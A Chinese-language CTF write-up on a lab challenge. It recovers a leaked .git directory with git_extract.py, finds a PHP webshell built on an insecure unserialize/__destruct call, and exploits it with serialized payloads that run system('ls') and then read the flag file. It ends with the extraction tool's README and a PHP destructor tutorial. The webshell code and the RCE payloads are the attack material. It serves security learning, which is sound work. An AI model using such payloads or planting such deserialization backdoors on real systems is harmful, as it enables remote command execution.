1.unserialize题——GIT信息泄露
第一步:访问页面,发现有一个js脚本写的掷色子游戏,跟本题没什么关系
图略
第二步:想到本题是Backdoor题,也就是后门。那么可能有两层意思:一是找后门,二是写后门。但是本题的提示很少,那么可能是信息泄露。
这里是 GIT信息泄露,访问http://10.198.99.127:8026/.git/logs/HEAD,发现有日志信息泄露
图略
第三步:尝试使用工具提取GIT信息
第四步:使用git_extract.py,提取网站的git信息
python git_extract.py http://10.198.99.127:8026/.git/
图略
会在当前目录下生成一个以目标站点为名的文件夹,且下面存在着GIT信息,其中有webshell_d5f6d142a4383e40.php后门文件
第五步:分析webshell_d5f6d142a4383e40.php文件
很明显这是一个反序列化的题目,且没有任何的防护
<?php
class site{ #创建一个以site为名的类
public $name; #创建一个属性name
public $title; #创建一个属性title
function __destruct(){ #创建一个析构方法
$a = $this->name; #把属性name的值赋值给变量
$a($this->title);
}
}
unserialize($_POST['dage']); 以POST形式读取客户端提交的值,之后进行反序列化
?>
第六步:尝试编写代码生成payload,利用该Webshell
代码如下所示:
<?php
class site{ #创建一个以site为名的类
public $name; #创建一个属性name
public $title; #创建一个属性title
}
$chen = new site(); #创建一个site类的对象$chen
$chen->name = 'assert'; #给对象$chen的name属性赋值assert
$chen->title = "system('ls')"; #给对象$chen的title属性赋值system('ls');
#$chen->title = "system('cat flag_aeb45a3fb5a3d769.txt')"; #给对象$chen的title属性赋值
$chen = serialize($chen); #把对象$chen进行序列化
print_r($chen); #打印出序列化后的对象$chen
payload1如下所示:
O:4:"site":2:{s:4:"name";s:6:"assert";s:5:"title";s:12:"system('ls')";}
第七步:POST提交payload1,发现了flag文件:flag_aeb45a3fb5a3d769.txt
图略 第八步:把长度为12的system(‘ls’);修改为长度为39的system(‘cat flag_aeb45a3fb5a3d769.txt’);即可
payload2如下所示:
O:4:"site":2:{s:4:"name";s:6:"assert";s:5:"title";s:39:"system('cat flag_aeb45a3fb5a3d769.txt')";}
第九步:提交payload2,查看flag值为:flag{df41271b24149ac8085fee3be13f1898}
图略
2.涉及的知识点
第一方面:GIT相关
(1)Git Extract工具功能:提取远程 git信息,或者本地git信息
(2)Git Extract的相关概念:
# Git Extract
提取远程 git 泄露或本地 git 的工具
### 目的
现有的 git 恢复工具都依赖于 git 命令,没有将各版本的文件恢复,存在需要手动提取恢复 objects 的情况,对于部分文件的考虑存在欠缺,如 logs/HEAD, refs/stash, info/packs
### 特点
支持远程 .git 泄露的提取,也支持对本地 .git 路径下文件的提取;不使用 git 命令,完全使用 python 完成对 git 文件的解析;提取历史各版本的文件,并使用 filename.sha1[:6] 格式命名文件,以做区分
- 恢复项现包括:
- index 缓存
- HEAD 现分支的恢复
- logs/HEAD 日志
- refs/stash 工作进度保存
- refs/heads/master master 恢复
- info/packs packs 文件提取恢复
- refs/wip/index/refs/heads/master magit wip 模式 (PlaidCTF 2020)
- refs/wip/wtree/refs/heads/master
- 可能重复但仍做恢复的项:
- packed-refs
- refs/remotes/origin/HEAD
- ORIG_HEAD
- FETCH_HEAD
- 其他信息项:
- config
- description
- info/exclude
- COMMIT_EDITMSG
- 注意:
不是所有的恢复项都一定存在
### 依赖
只使用 python 原生库
### 使用
```
$ python git_extract.py http://example.com/.git/ 一个存在 .git 泄露的网站
$ python git_extract.py example/.git/ 一个本地的 .git 路径
```
### 更新
- 2018-10-3:
增加对 windows 字体颜色输出的支持,并同步默认背景色,linux 中背景色也修改为与默认同步
- 2019-7-27:
修复文件缺失、文件格式错误等造成的报错退出
修正 urllib2 默认使用系统代理,造成下载缓慢的情况
- 2020-6-4:
禁止跟随跳转,增加新恢复项 magit wip 模式
### 待做
- 解析其他版本的 git 文件格式,目前支持 version 2
- pack 文件的 ofs_delta, ref_delta 类型文件的重建
2.第二方面:php反序列化
(1)php类的基础知识:
//面向对象的程序设计:类 对象 属性 方法
//类:对象的模型,对象的蓝图,对象的抽象,宏观概括(如:人类;星球)
//对象:类的实例化,具体化(如:张三、李四;太阳、月球、地球)
//属性:用来描述对象或者类的静态的东西(如:姓名、性别、身高;如:半径、表面积、体积、体表温度、质量、重力加速度)
//方法:用来描述对象或者类的动态的东西,又叫函数(如:吃饭、睡觉、穿衣服;如:自转、燃烧、散热)
(2)__destruct析构方法的相关概念:
1.【构造方法】是什么?
答:php中构造方法是对象创建完成后第一个被对象自动调用的方法。
//在每个类中都有一个构造方法,如果没有显示声明它,那么类中都会默认存在一个没有参数且内容为空的构造方法。
//通常构造方法被用来执行一些有用的初始化任务,如对成员属性在创建对象时赋予初始值。
2.【__destruct()析构函数】是什么?
答:析构函数会在到某个对象的所有引用都被删除或者当对象被销毁前执行。
//析构方法没有返回值,主要作用是释放资源的操作,并不是销毁对象本身
//在销毁对象前,系统自动的调用该类的析构方法
//一个类最多只有一个析构方法
3.注意:
当整个请求结束后,对象会调用析构函数,销毁所有有关该对象的东西!
即使你不写析构函数。PHP机制也会自行销毁。因为这本身就是PHP的特性。
(3)用例子学习__destruct析构方法
1.析构函数:在对象销毁的时候,自动调用析构函数
2.然而怎么销毁对象呢?
程序结束时候自动销毁对象
或者使用unset()
或者赋值null
3.例题1:
<?php
class Aaa{
function __destruct(){
//析构函数,释放内存资源
echo "886<br />";
}
}
$a1 = new Aaa();
echo "111<br />";
$a2 = new Aaa();
echo "222<br />";
?>
//结果如下:程序结束后,释放a1对象前打印886,释放a2前打印886,所以打印两次886
111
222
886
886
4.例题2:
<?php
class Aaa{
function __construct(){
echo "hello<br />";
}
function __destruct(){
//析构函数,释放内存资源
echo "886<br />";
}
}
$a1 = new Aaa();
echo "111<br />";
$a2 = new Aaa();
echo "222<br />";
?>
//结果如下图所示:调用对象a1前,打印hello,调用对象a2前,打印hello,所以两次hello
hello
111
hello
222
886
886
5.总结:
//__destruct()方法:销毁对象前,自动调用该方法
//__construct()方法:创建对象前,自动调用该方法
//销毁对象的时刻:
// (1)php程序全部结束的时候
// (2)使用unset函数释放对象【unset($a1);】
// (3)给对象赋值null【$a1=null;】
//创建对象的时刻:使用操作符new创建对象
// $a1 = new Aaa();
3.总结
1.Git信息泄露
2.php之析构方法unserialize